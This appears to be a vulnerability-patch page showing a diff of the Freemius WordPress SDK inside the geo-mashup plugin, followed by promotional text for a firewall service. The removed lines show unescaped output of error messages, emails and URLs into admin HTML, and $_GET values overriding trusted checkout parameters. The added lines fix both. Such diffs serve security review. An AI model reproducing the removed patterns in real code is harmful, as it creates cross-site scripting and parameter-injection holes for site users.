             $this->update_license_required_permissions_if_anonymous();
@@ -17657,6 +17639,31 @@
         /**
          * Install plugin with new user.
          *
+         * You can use this method to sync activation with the Freemius WP SDK where the activation happened outside of the regular opt-in flow, for example if you're using an external licensing server with our api:
+         *
+         * https://docs.freemius.com/api/licenses/activate
+         *
+         * In that case you can call this method like following:
+         *
+         * ```
+         *
+         * my_fs()->install_with_new_user(
+         *     $result['user_id'],
+         *     $result['user_public_key'],
+         *     $result['user_secret_key'],
+         *     $result['is_marketing_allowed'],
+         *     null,
+         *     true,
+         *     $result['install_id'],
+         *     $result['install_public_key'],
+         *     $result['install_secret_key'],
+         *     false
+         * );
+         *
+         * ```
+         *
+         * Here `$result` represents the object returned by the API endpoint.
+         *
          * @author Vova Feldman (@svovaf)
          * @since  1.1.7.4
          *
@@ -17674,7 +17681,7 @@
          *
          * @return string If redirect is `false`, returns the next page the user should be redirected to.
          */
-        private function install_with_new_user(
+        public function install_with_new_user(
             $user_id,
             $user_public_key,
             $user_secret_key,
@@ -18122,7 +18129,7 @@
                 if ( ! $silent ) {
                     $this->_admin_notices->add(
                         sprintf( $this->get_text_inline( 'Couldn't activate %s.', 'could-not-activate-x' ), $this->get_plugin_name() ) . ' ' .
-                        $this->get_text_inline( 'Please contact us with the following message:', 'contact-us-with-error-message' ) . ' ' . '<b>' . $result->error->message . '</b>',
+                        $this->get_text_inline( 'Please contact us with the following message:', 'contact-us-with-error-message' ) . ' ' . '<b>' . esc_html( $result->error->message ) . '</b>',
                         $this->get_text_x_inline( 'Oops', 'exclamation', 'oops' ) . '...',
                         'error'
                     );
@@ -18242,7 +18249,7 @@

                     $this->_admin_notices->add(
                         sprintf( $this->get_text_inline( 'Couldn't activate %s.', 'could-not-activate-x' ), $this->get_plugin_name() ) . ' ' .
-                        $this->get_text_inline( 'Please contact us with the following message:', 'contact-us-with-error-message' ) . ' ' . '<b>' . $error_message . '</b>',
+                        $this->get_text_inline( 'Please contact us with the following message:', 'contact-us-with-error-message' ) . ' ' . '<b>' . esc_html( $error_message ) . '</b>',
                         $this->get_text_x_inline( 'Oops', 'exclamation', 'oops' ) . '...',
                         'error'
                     );
@@ -18419,7 +18426,7 @@
             if ( isset( $parent_install->error ) ) {
                 $this->_admin_notices->add(
                     sprintf( $this->get_text_inline( 'Couldn't activate %s.', 'could-not-activate-x' ), $this->get_plugin_name() ) . ' ' .
-                    $this->get_text_inline( 'Please contact us with the following message:', 'contact-us-with-error-message' ) . ' ' . '<b>' . $parent_install->error->message . '</b>',
+                    $this->get_text_inline( 'Please contact us with the following message:', 'contact-us-with-error-message' ) . ' ' . '<b>' . esc_html( $parent_install->error->message ) . '</b>',
                     $this->get_text_x_inline( 'Oops', 'exclamation', 'oops' ) . '...',
                     'error'
                 );
@@ -21137,7 +21144,7 @@
                         } else if ( is_object( $result ) ) {
                             // Authentication params are broken.
                             $this->_admin_notices->add(
-                                $this->get_text_inline( 'It seems like one of the authentication parameters is wrong. Update your Public Key, Secret Key & User ID, and try again.', 'wrong-authentication-param-message' ) . '<br> ' . $this->get_text_inline( 'Error received from the server:', 'server-error-message' ) . var_export( $result->error, true ),
+                                $this->get_text_inline( 'It seems like one of the authentication parameters is wrong. Update your Public Key, Secret Key & User ID, and try again.', 'wrong-authentication-param-message' ) . '<br> ' . $this->get_text_inline( 'Error received from the server:', 'server-error-message' ) . esc_html( var_export( $result->error, true ) ),
                                 '',
                                 'error'
                             );
@@ -21458,7 +21465,7 @@
                             $this->get_text_inline( 'Your license has been cancelled. If you think it's a mistake, please contact support.', 'license-cancelled' ) . ' ' .
                             sprintf(
                                 '<a href="%s">%s</a>',
-                                $this->contact_url( 'bug' ),
+                                esc_url( $this->contact_url( 'bug' ) ),
                                 $this->get_text_inline( 'Please contact us here', 'contact-us-here' )
                             ),
                             $hmm_text,
@@ -21551,7 +21558,7 @@
                 "<div>{$error_message}</div>" .
                 '<div class="fs-api-request-error-details" style="display: none">' .
                     '<strong>' . $this->get_text_inline( 'Error received from the server:', 'server-error-message' ) . '</strong><br>' .
-                    $result->error->message .
+                    esc_html( $result->error->message ) .
                 '</div>';

             return $error_message;
@@ -21656,10 +21663,10 @@
                         '%s %s',
                         $this->get_text_inline( 'It looks like the license could not be activated.', 'license-activation-failed-message' ),
                         ( is_object( $license ) && isset( $license->error ) ?
-                            $license->error->message :
+                            esc_html( $license->error->message ) :
                             sprintf( '%s<br><code>%s</code>',
                                 $this->get_text_inline( 'Error received from the server:', 'server-error-message' ),
-                                var_export( $license, true )
+                                esc_html( var_export( $license, true ) )
                             )
                         )
                     ),
@@ -21747,7 +21754,7 @@
             if ( isset( $license->error ) ) {
                 $this->_admin_notices->add(
                     $this->get_text_inline( 'It looks like the license deactivation failed.', 'license-deactivation-failed-message' ) . '<br> ' .
-                    $this->get_text_inline( 'Error received from the server:', 'server-error-message' ) . ' ' . var_export( $license->error, true ),
+                    $this->get_text_inline( 'Error received from the server:', 'server-error-message' ) . ' ' . esc_html( var_export( $license->error, true ) ),
                     $hmm_text,
                     'error'
                 );
@@ -22396,7 +22403,7 @@
                             $update->version,
                             sprintf(
                                 '<a href="%s" target="_blank" rel="noopener">%s</a>',
-                                $this->get_account_url( 'download_latest' ),
+                                esc_url( $this->get_account_url( 'download_latest' ) ),
                                 sprintf(
                                 /* translators: %s: plan name (e.g. latest "Professional" version) */
                                     $this->get_text_inline( 'the latest %s version here', 'latest-x-version' ),
@@ -22814,7 +22821,7 @@
             if ( ! isset( $result->error ) ) {
                 $this->_admin_notices->add( sprintf(
                     $this->get_text_inline( 'Verification mail was just sent to %s. If you can't find it after 5 min, please check your spam box.', 'verification-email-sent-message' ),
-                    sprintf( '<a href="mailto:%1$s">%2$s</a>', esc_url( $this->_user->email ), $this->_user->email )
+                    sprintf( '<a href="mailto:%1$s">%2$s</a>', esc_url( $this->_user->email ), esc_html( $this->_user->email ) )
                 ) );
             } else {
                 // handle different error cases.
@@ -23138,9 +23145,9 @@

                             if ( $this->init_change_owner( $candidate_email, $transfer_type ) ) {
                                 if ( 'transfer' === $transfer_type ) {
-                                    $this->_admin_notices->add( sprintf( $this->get_text_inline( 'A confirmation email was just sent to %s. The email owner must confirm the update within the next 4 hours.', 'change-owner-request-sent-x-transfer' ), '<b>' . $this->_user->email . '</b>' ) );
+                                    $this->_admin_notices->add( sprintf( $this->get_text_inline( 'A confirmation email was just sent to %s. The email owner must confirm the update within the next 4 hours.', 'change-owner-request-sent-x-transfer' ), '<b>' . esc_html( $this->_user->email ) . '</b>' ) );
                                 } else {
-                                    $this->_admin_notices->add( sprintf( $this->get_text_inline( 'A confirmation email was just sent to %s. You must confirm the update within the next 4 hours. If you cannot find the email, please check your spam folder.', 'change-owner-request-sent-x' ), '<b>' . $this->_user->email . '</b>' ) );
+                                    $this->_admin_notices->add( sprintf( $this->get_text_inline( 'A confirmation email was just sent to %s. You must confirm the update within the next 4 hours. If you cannot find the email, please check your spam folder.', 'change-owner-request-sent-x' ), '<b>' . esc_html( $this->_user->email ) . '</b>' ) );
                                 }
                             }
                             break;
@@ -23152,13 +23159,13 @@
                                 return;
                             }

-                            $this->_admin_notices->add( sprintf( $this->get_text_inline( 'Thanks for confirming the ownership change. An email was just sent to %s for final approval.', 'change-owner-request_owner-confirmed' ), '<b>' . $candidate_email . '</b>' ) );
+                            $this->_admin_notices->add( sprintf( $this->get_text_inline( 'Thanks for confirming the ownership change. An email was just sent to %s for final approval.', 'change-owner-request_owner-confirmed' ), '<b>' . esc_html( $candidate_email ) . '</b>' ) );
                             break;
                         case 'candidate_confirmed':
                             // We do not need to validate the authenticity of this request here, because the `complete_change_owner` does that for us through API calls.
                             if ( $this->complete_change_owner() ) {
                                 $this->_admin_notices->add_sticky(
-                                    sprintf( $this->get_text_inline( '%s is the new owner of the account.', 'change-owner-request_candidate-confirmed' ), '<b>' . $this->_user->email . '</b>' ),
+                                    sprintf( $this->get_text_inline( '%s is the new owner of the account.', 'change-owner-request_candidate-confirmed' ), '<b>' . esc_html( $this->_user->email ) . '</b>' ),
                                     'ownership_changed',
                                     $this->get_text_x_inline( 'Congrats', 'as congratulations', 'congrats' ) . '!'
                                 );
--- a/geo-mashup/vendor/freemius/wordpress-sdk/includes/class-fs-plugin-updater.php
+++ b/geo-mashup/vendor/freemius/wordpress-sdk/includes/class-fs-plugin-updater.php
@@ -540,9 +540,32 @@
                 return $transient_data;
             }

+            // Alias.
+            $basename = $this->_fs->premium_plugin_basename();
+
             global $wp_current_filter;

-            if ( ! empty( $wp_current_filter ) && in_array( 'upgrader_process_complete', $wp_current_filter ) ) {
+            /**
+             * During bulk updates, avoid re-injecting update data for the plugin itself once it has already been updated.
+             *
+             * If the custom package is re-added to the transient after the plugin update, WordPress may detect the package again and incorrectly report "The plugin is at the latest version" for a pending update, since the custom package version matches the currently installed version.
+             *
+             * Behavior differs depending on how the bulk update is triggered. Please refer to the inline comments for each flow below for details.
+             */
+            if (
+                ! empty( $wp_current_filter ) && (
+                    /**
+                     * update-core.php and other upgrader pages:
+                     * The `upgrader_process_complete` action fires only once after all updates have finished. In this case, it is the current action (`$wp_current_filter[0]`), while `self::$_upgrade_basename` may contain any plugin basename.
+                     */
+                    'upgrader_process_complete' === $wp_current_filter[0] ||
+                    /**
+                     * AJAX bulk updates (e.g., from the Plugins page):
+                     * The `upgrader_process_complete` action fires multiple times — once for each plugin after it finishes updating. In this flow, it is not the current action (`$wp_current_filter[0]`) because it is triggered from another action. Instead, we compare `self::$_upgrade_basename` with the basename of the plugin currently being updated, since the `upgrader_process_complete` action runs separately for each plugin.
+                     */
+                    ( in_array( 'upgrader_process_complete', $wp_current_filter ) && self::$_upgrade_basename === $basename )
+                )
+            ) {
                 return $transient_data;
             }

@@ -566,9 +589,6 @@
                 }
             }

-            // Alias.
-            $basename = $this->_fs->premium_plugin_basename();
-
             if ( is_object( $this->_update_details ) ) {
                 if ( isset( $transient_data->no_update ) ) {
                     unset( $transient_data->no_update[ $basename ] );
--- a/geo-mashup/vendor/freemius/wordpress-sdk/includes/entities/class-fs-payment.php
+++ b/geo-mashup/vendor/freemius/wordpress-sdk/includes/entities/class-fs-payment.php
@@ -80,11 +80,22 @@
          */
         public $source = 0;

+        /**
+         * Presentment payment information for customer-facing currency display.
+         *
+         * @var object|null
+         */
+        public $presentment;
+
         #endregion Properties

         const CURRENCY_USD = 'usd';
         const CURRENCY_GBP = 'gbp';
         const CURRENCY_EUR = 'eur';
+        const CURRENCY_ILS = 'ils';
+        const CURRENCY_CAD = 'cad';
+        const CURRENCY_AUD = 'aud';
+        const CURRENCY_PLN = 'pln';

         /**
          * @param object|bool $payment
@@ -120,6 +131,44 @@
         }

         /**
+         * @return bool
+         */
+        private function has_presentment()
+        {
+            return is_object( $this->presentment );
+        }
+
+        /**
+         * @return float
+         */
+        private function get_display_gross()
+        {
+            return $this->has_presentment() ?
+                (float) $this->presentment->gross :
+                (float) $this->gross;
+        }
+
+        /**
+         * @return float
+         */
+        private function get_display_vat()
+        {
+            return $this->has_presentment() ?
+                (float) $this->presentment->vat :
+                (float) $this->vat;
+        }
+
+        /**
+         * @return string
+         */
+        private function get_display_currency()
+        {
+            return $this->has_presentment() ?
+                $this->presentment->currency :
+                $this->currency;
+        }
+
+        /**
          * Returns the gross in this format:
          *  `{symbol}{amount | 2 decimal digits} {currency | uppercase}`
          *
@@ -132,12 +181,13 @@
          */
         function formatted_gross()
         {
-            $price = $this->gross + $this->vat;
+            $price = $this->get_display_gross() + $this->get_display_vat();
+
             return (
                 ( $price < 0 ? '-' : '' ) .
                 $this->get_symbol() .
                 number_format( abs( $price ), 2, '.', ',' ) . ' ' .
-                strtoupper( $this->currency )
+                strtoupper( $this->get_display_currency() )
             );
         }

@@ -161,9 +211,17 @@
                     self::CURRENCY_USD => '$',
                     self::CURRENCY_GBP => '£',
                     self::CURRENCY_EUR => '€',
+                    self::CURRENCY_ILS => '₪',
+                    self::CURRENCY_CAD => '$',
+                    self::CURRENCY_AUD => '$',
+                    self::CURRENCY_PLN => 'zł',
                 );
             }

-            return self::$CURRENCY_2_SYMBOL[ $this->currency ];
+            $currency = $this->get_display_currency();
+
+            return isset( self::$CURRENCY_2_SYMBOL[ $currency ] )
+                ? self::$CURRENCY_2_SYMBOL[ $currency ]
+                : strtoupper( $currency ) . ' ';
         }
-    }
 No newline at end of file
+    }
--- a/geo-mashup/vendor/freemius/wordpress-sdk/includes/fs-essential-functions.php
+++ b/geo-mashup/vendor/freemius/wordpress-sdk/includes/fs-essential-functions.php
@@ -10,6 +10,9 @@
 	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
 	 * @since       1.1.5
 	 */
+    if ( ! defined( 'ABSPATH' ) ) {
+        exit;
+    }

 	if ( ! function_exists( 'fs_normalize_path' ) ) {
 		if ( function_exists( 'wp_normalize_path' ) ) {
--- a/geo-mashup/vendor/freemius/wordpress-sdk/includes/managers/class-fs-checkout-manager.php
+++ b/geo-mashup/vendor/freemius/wordpress-sdk/includes/managers/class-fs-checkout-manager.php
@@ -110,6 +110,15 @@
 					// If add-on isn't activated assume the premium version isn't installed.
 					$is_premium = false;
 				}
+
+                // Override the checkout context with the add-on's purchase details so the checkout flow is initialized for the selected add-on instead of the parent product.
+				$context_params['plugin_id'] = $plugin_id;
+
+				foreach ( array( 'plan_id', 'pricing_id', 'billing_cycle', 'is_trial' ) as $param ) {
+					if ( fs_request_has( $param ) ) {
+						$context_params[ $param ] = fs_request_get( $param );
+					}
+				}
 			}

 			// Get site context secure params.
@@ -187,7 +196,7 @@
             // Allowlist only allowed query params.
             $filtered_params = array_intersect_key($filtered_params, $this->_allowed_custom_params);

-            return array_merge( $context_params, $filtered_params, $_GET, array(
+			return array_merge( $_GET, $context_params, $filtered_params, array(
 				// Current plugin version.
 				'plugin_version' => $fs->get_plugin_version(),
 				'sdk_version'    => WP_FS__SDK_VERSION,
--- a/geo-mashup/vendor/freemius/wordpress-sdk/includes/managers/class-fs-clone-manager.php
+++ b/geo-mashup/vendor/freemius/wordpress-sdk/includes/managers/class-fs-clone-manager.php
@@ -1223,7 +1223,7 @@
                 );

                 foreach ( $product_titles as $product_title ) {
-                    $products_list .= sprintf( '<li>%s</li>', $product_title );
+                    $products_list .= sprintf( '<li>%s</li>', esc_html( $product_title ) );
                 }

                 $products_list = '<ol>' . $products_list . '</ol>';
@@ -1231,8 +1231,8 @@
                 foreach ( $site_urls as $site_url ) {
                     $sites_list .= sprintf(
                         '<li><a href="%s" target="_blank">%s</a></li>',
-                        $site_url,
-                        fs_strip_url_protocol( $site_url )
+                        esc_url( $site_url ),
+                        esc_html( fs_strip_url_protocol( $site_url ) )
                     );
                 }

@@ -1242,15 +1242,15 @@
             $remote_site_link = '<b>' . (1 === $total_sites ?
                 sprintf(
                     '<a href="%s" target="_blank">%s</a>',
-                    $site_urls[0],
-                    fs_strip_url_protocol( $site_urls[0] )
+                    esc_url( $site_urls[0] ),
+                    esc_html( fs_strip_url_protocol( $site_urls[0] ) )
                 ) :
                 fs_text_inline( 'the above-mentioned sites', 'above-mentioned-sites' )) . '</b>';

             $current_site_link = sprintf(
                 '<b><a href="%s" target="_blank">%s</a></b>',
-                $current_url,
-                fs_strip_url_protocol( $current_url )
+                esc_url( $current_url ),
+                esc_html( fs_strip_url_protocol( $current_url ) )
             );

             $button_template = '<button class="button" data-clone-action="%s">%s</button>';
@@ -1323,7 +1323,7 @@
                 sprintf( '<div class="fs-clone-documentation-container">Unsure what to do? <a href="%s" target="_blank">Read more here</a>.</div>', $doc_url ),
                 // %1$s
                 ( 1 === $total_products ?
-                    sprintf( '<b>%s</b>', $product_titles[0] ) :
+                    sprintf( '<b>%s</b>', esc_html( $product_titles[0] ) ) :
                     ( 1 === $total_sites ?
                         sprintf( '<div>%s</div>', $products_list ) :
                         sprintf( '<div><p><strong>%s</strong>:</p>%s</div>', fs_esc_html_x_inline( 'Products', 'Clone resolution admin notice products list label', 'products' ), $products_list ) )
--- a/geo-mashup/vendor/freemius/wordpress-sdk/includes/managers/class-fs-contact-form-manager.php
+++ b/geo-mashup/vendor/freemius/wordpress-sdk/includes/managers/class-fs-contact-form-manager.php
@@ -77,8 +77,9 @@
 			$query_params = $this->get_query_params( $fs );

 			$query_params['is_standalone'] = 'true';
-			$query_params['parent_url']    = admin_url( add_query_arg( null, null ) );
+			// Intentionally using add_query_arg( '', '' ) to preserve the legacy behavior of resolving the current admin URL.
+			$query_params['parent_url']    = admin_url( add_query_arg( '', '' ) );

 			return WP_FS__ADDRESS . '/contact/?' . http_build_query( $query_params );
 		}
-	}
 No newline at end of file
+	}
--- a/geo-mashup/vendor/freemius/wordpress-sdk/includes/managers/class-fs-debug-manager.php
+++ b/geo-mashup/vendor/freemius/wordpress-sdk/includes/managers/class-fs-debug-manager.php
@@ -6,6 +6,9 @@
      * @package   Freemius
      * @since     2.6.2
      */
+    if ( ! defined( 'ABSPATH' ) ) {
+        exit;
+    }

     class FS_DebugManager {

--- a/geo-mashup/vendor/freemius/wordpress-sdk/includes/sdk/FreemiusWordPress.php
+++ b/geo-mashup/vendor/freemius/wordpress-sdk/includes/sdk/FreemiusWordPress.php
@@ -408,7 +408,7 @@
 				$pWPRemoteArgs = array(
 					'method'           => strtoupper( $pMethod ),
 					'connect_timeout'  => 10,
-					'timeout'          => 60,
+					'timeout'          => WP_FS__API_TIMEOUT,
 					'follow_redirects' => true,
 					'redirection'      => 5,
 					'user-agent'       => $user_agent,
--- a/geo-mashup/vendor/freemius/wordpress-sdk/start.php
+++ b/geo-mashup/vendor/freemius/wordpress-sdk/start.php
@@ -15,7 +15,7 @@
 	 *
 	 * @var string
 	 */
-	$this_sdk_version = '2.13.0';
+	$this_sdk_version = '2.13.5';

 	#region SDK Selection Logic --------------------------------------------------------------------

--- a/geo-mashup/vendor/freemius/wordpress-sdk/templates/account.php
+++ b/geo-mashup/vendor/freemius/wordpress-sdk/templates/account.php
@@ -252,6 +252,8 @@
     $available_license_paid_plan = is_object( $available_license ) ?
         $fs->_get_plan_by_id( $available_license->plan_id ) :
         null;
+
+    $is_dev_mode = ( defined( 'WP_FS__DEV_MODE' ) && WP_FS__DEV_MODE );
 ?>
 	<div class="wrap fs-section">
 		<?php if ( ! $has_tabs && ! $fs->apply_filters( 'hide_account_tabs', false ) ) : ?>
@@ -787,7 +789,7 @@
 											<th><?php echo esc_html( $plan_text ) ?></th>
 											<th><?php fs_esc_html_echo_x_inline( 'License', 'as software license', 'license', $slug ) ?></th>
 											<th></th>
-											<?php if ( defined( 'WP_FS__DEV_MODE' ) && WP_FS__DEV_MODE ) : ?>
+											<?php if ( $is_dev_mode ) : ?>
 												<th></th>
 											<?php endif ?>
 										</tr>
@@ -853,10 +855,20 @@
                                                     'is_whitelabeled'                => ( $is_whitelabeled && ! $is_data_debug_mode )
 												);

-												fs_require_template(
-													'account/partials/addon.php',
-													$addon_view_params
-												);
+												if ( ! empty($addon_view_params['addon_info'] ) ) {
+													fs_require_template(
+														'account/partials/addon.php',
+														$addon_view_params
+													);
+												} else {
+													// If we are here it means there is an activation of an unreleased add-on and yet the SDK is not in development mode.
+													echo '<tr>';
+													echo '<td style="text-align: right;">' . esc_html( $addon_id ) . '</td>';
+													echo '<td colspan="' . ( $is_dev_mode ? 6 : 5 ) . '" style="text-align: left;">';
+													echo 'The add-on you have activated is no longer <a href="https://freemius.com/help/documentation/wordpress/selling-add-ons-extensions/#preparing-the-add-on-for-sale" rel="noreferrer noopener" target="_blank">listed</a> by the product owner, or the SDK is not running in <a href="https://freemius.com/help/documentation/wordpress-sdk/testing/" rel="noreferrer noopener" target="_blank">test mode</a>. Please <a href="' . esc_url( $fs->contact_url() ) . '">contact support</a> if you need further assistance.';
+													echo '</td>';
+													echo '</tr>';
+												}

 												$odd = ! $odd;
 											} ?>
--- a/geo-mashup/vendor/freemius/wordpress-sdk/templates/add-ons.php
+++ b/geo-mashup/vendor/freemius/wordpress-sdk/templates/add-ons.php
@@ -122,8 +122,9 @@

 						$open_addon = ( $open_addon || ( $open_addon_slug === $addon->slug ) );

-						$price     = 0;
-						$has_trial = false;
+						$price         = 0;
+                        $min_price     = 999999;
+						$has_trial     = false;
 						$has_free_plan = false;
 						$has_paid_plan = false;

@@ -141,11 +142,9 @@
 										continue;
 									}

-
 									$has_paid_plan = true;
 									$has_trial     = $has_trial || ( is_numeric( $plan->trial_period ) && ( $plan->trial_period > 0 ) );

-									$min_price = 999999;
 									foreach ( $plan->pricing as $pricing ) {
                                         $pricing = new FS_Pricing( $pricing );

@@ -163,13 +162,14 @@
 											$min_price = min( $min_price, $pricing->annual_price );
 										} else if ( $pricing->has_monthly() ) {
 											$min_price = min( $min_price, 12 * $pricing->monthly_price );
-										}
+										} else if ( $pricing->has_lifetime() ) {
+                                            $min_price = min( $min_price, $pricing->lifetime_price );
+                                        }
 									}

 									if ( $min_price < 999999 ) {
 										$price = $min_price;
 									}
-
 								}
 							}

--- a/geo-mashup/vendor/freemius/wordpress-sdk/templates/checkout.php
+++ b/geo-mashup/vendor/freemius/wordpress-sdk/templates/checkout.php
@@ -5,7 +5,9 @@
 	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
 	 * @since       2.9.0
 	 */
-
+    if ( ! defined( 'ABSPATH' ) ) {
+        exit;
+    }
 	/**
 	 * @var array    $VARS
 	 * @var Freemius $fs
--- a/geo-mashup/vendor/freemius/wordpress-sdk/templates/checkout/frame.php
+++ b/geo-mashup/vendor/freemius/wordpress-sdk/templates/checkout/frame.php
@@ -35,7 +35,6 @@
 	}

 	wp_enqueue_script( 'jquery' );
-	wp_enqueue_script( 'json2' );
 	fs_enqueue_local_script( 'postmessage', 'nojquery.ba-postmessage.js' );
 	fs_enqueue_local_script( 'fs-postmessage', 'postmessage.js' );
 	fs_enqueue_local_script( 'fs-form', 'jquery.form.js', array( 'jquery' ) );
--- a/geo-mashup/vendor/freemius/wordpress-sdk/templates/checkout/process-redirect.php
+++ b/geo-mashup/vendor/freemius/wordpress-sdk/templates/checkout/process-redirect.php
@@ -25,7 +25,6 @@
 	$fs_checkout->verify_checkout_redirect_nonce( $fs );

 	wp_enqueue_script( 'jquery' );
-	wp_enqueue_script( 'json2' );
 	fs_enqueue_local_script( 'fs-form', 'jquery.form.js', array( 'jquery' ) );

 	$action = fs_request_get( '_fs_checkout_action' );
--- a/geo-mashup/vendor/freemius/wordpress-sdk/templates/contact.php
+++ b/geo-mashup/vendor/freemius/wordpress-sdk/templates/contact.php
@@ -44,7 +44,6 @@
 	}

 	wp_enqueue_script( 'jquery' );
-	wp_enqueue_script( 'json2' );
 	fs_enqueue_local_script( 'postmessage', 'nojquery.ba-postmessage.js' );
 	fs_enqueue_local_script( 'fs-postmessage', 'postmessage.js' );
 	fs_enqueue_local_style( 'fs_checkout', '/admin/common.css' );
--- a/geo-mashup/vendor/freemius/wordpress-sdk/templates/debug.php
+++ b/geo-mashup/vendor/freemius/wordpress-sdk/templates/debug.php
@@ -258,6 +258,10 @@
             'val' => WP_FS__DIR,
         ),
         array(
+            'key' => 'DISABLE_WP_CRON',
+            'val' => defined( 'DISABLE_WP_CRON' ) ? ( DISABLE_WP_CRON ? 'true' : 'false' ) : 'Not defined',
+        ),
+        array(
             'key' => 'wp_using_ext_object_cache()',
             'val' => wp_using_ext_object_cache() ? 'true' : 'false',
         ),
@@ -282,7 +286,11 @@
                 echo ' class="alternate"';
             } ?>>
                 <td><?php echo $p['key'] ?></td>
-                <td><?php echo $p['val'] ?></td>
+                <td><?php echo $p['val'] ?><?php
+                    if ( 'DISABLE_WP_CRON' === $p['key'] && 'true' === $p['val'] ) {
+                        echo '<p><small><strong>Freemius SDK’s sync cron jobs will not run unless an alternative server-side cron is set up.</strong></small></p>';
+                    }
+                ?></td>
             </tr>
             <?php $alternate = ! $alternate ?>
         <?php endforeach ?>
--- a/geo-mashup/vendor/freemius/wordpress-sdk/templates/pricing.php
+++ b/geo-mashup/vendor/freemius/wordpress-sdk/templates/pricing.php
@@ -11,7 +11,6 @@
 	}

 	wp_enqueue_script( 'jquery' );
-	wp_enqueue_script( 'json2' );
 	fs_enqueue_local_script( 'postmessage', 'nojquery.ba-postmessage.js' );
 	fs_enqueue_local_script( 'fs-postmessage', 'postmessage.js' );
 	fs_enqueue_local_style( 'fs_common', '/admin/common.css' );
@@ -25,9 +24,30 @@
 	$timestamp = time();

 	$context_params = array(
+        // Plugin information
 		'plugin_id'         => $fs->get_id(),
 		'plugin_public_key' => $fs->get_public_key(),
 		'plugin_version'    => $fs->get_plugin_version(),
+
+        // React pricing app context
+        'contact_url'            => $fs->contact_url(),
+        'is_production'          => ( defined( 'WP_FS__IS_PRODUCTION_MODE' ) ? WP_FS__IS_PRODUCTION_MODE : null ),
+        'menu_slug'              => $fs->get_menu_slug(),
+        'mode'                   => 'dashboard',
+        'fs_wp_endpoint_url'     => WP_FS__ADDRESS,
+        'request_handler_url'    => admin_url(
+            'admin-ajax.php?' . http_build_query( array(
+                'module_id' => $fs->get_id(),
+                'action'    => $fs->get_ajax_action( 'pricing_ajax_action' ),
+                'security'  => $fs->get_ajax_security( 'pricing_ajax_action' )
+            ) )
+        ),
+        'selector'               => '#fs_pricing_wrapper',
+        'unique_affix'           => $fs->get_unique_affix(),
+        'show_annual_in_monthly' => $fs->apply_filters( 'pricing/show_annual_in_monthly', true ),
+        'license'                => $fs->has_active_valid_license() ? $fs->_get_license() : null,
+        'plugin_icon'            => $fs->get_local_icon_url(),
+        'disable_single_package' => $fs->apply_filters( 'pricing/disable_single_package', false ),
 	);

 	$bundle_id = $fs->get_bundle_id();
@@ -55,9 +75,8 @@
 		);
 	}

-	$query_params = array_merge( $context_params, $_GET, array(
+	$query_params = array_merge( $_GET, array(
 		'next'             => $fs->_get_sync_license_url( false, false ),
-		'plugin_version'   => $fs->get_plugin_version(),
 		// Billing cycle.
 		'billing_cycle'    => fs_request_get( 'billing_cycle', WP_FS__PERIOD_ANNUALLY ),
 		'is_network_admin' => fs_is_network_admin() ? 'true' : 'false',
@@ -65,6 +84,14 @@
         'discounts_model'  => $fs->apply_filters( 'pricing/discounts_model', 'absolute' ),
 	) );

+	$has_tabs = $fs->_add_tabs_before_content();
+
+	if ( $has_tabs ) {
+		$query_params['tabs'] = 'true';
+	}
+
+    $pricing_config = array_merge( $query_params, $context_params );
+
     $pricing_js_url = fs_asset_url( $fs->get_pricing_js_path() );

     wp_enqueue_script( 'freemius-pricing', $pricing_js_url );
@@ -73,39 +100,10 @@
     if ( is_string( $pricing_css_path ) ) {
         wp_enqueue_style( 'freemius-pricing', fs_asset_url( $pricing_css_path ) );
     }
-
-	$has_tabs = $fs->_add_tabs_before_content();
-
-	if ( $has_tabs ) {
-		$query_params['tabs'] = 'true';
-	}
 ?>
 	<div id="fs_pricing" class="wrap fs-section fs-full-size-wrapper">
         <div id="fs_pricing_wrapper" data-public-url="<?php echo trailingslashit( dirname( $pricing_js_url ) ) ?>"></div>
-        <?php
-        $pricing_config = array_merge( array(
-            'contact_url'            => $fs->contact_url(),
-            'is_production'          => ( defined( 'WP_FS__IS_PRODUCTION_MODE' ) ? WP_FS__IS_PRODUCTION_MODE : null ),
-            'menu_slug'              => $fs->get_menu_slug(),
-            'mode'                   => 'dashboard',
-            'fs_wp_endpoint_url'     => WP_FS__ADDRESS,
-            'request_handler_url'    => admin_url(
-                'admin-ajax.php?' . http_build_query( array(
-                    'module_id' => $fs->get_id(),
-                    'action'    => $fs->get_ajax_action( 'pricing_ajax_action' ),
-                    'security'  => $fs->get_ajax_security( 'pricing_ajax_action' )
-                ) )
-            ),
-            'selector'               => '#fs_pricing_wrapper',
-            'unique_affix'           => $fs->get_unique_affix(),
-            'show_annual_in_monthly' => $fs->apply_filters( 'pricing/show_annual_in_monthly', true ),
-            'license'                => $fs->has_active_valid_license() ? $fs->_get_license() : null,
-            'plugin_icon'            => $fs->get_local_icon_url(),
-            'disable_single_package' => $fs->apply_filters( 'pricing/disable_single_package', false ),
-        ), $query_params );
-
-        wp_add_inline_script( 'freemius-pricing', 'Freemius.pricing.new( ' . json_encode( $pricing_config ) . ' )' );
-        ?>
+        <?php wp_add_inline_script( 'freemius-pricing', 'Freemius.pricing.new( ' . json_encode( $pricing

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.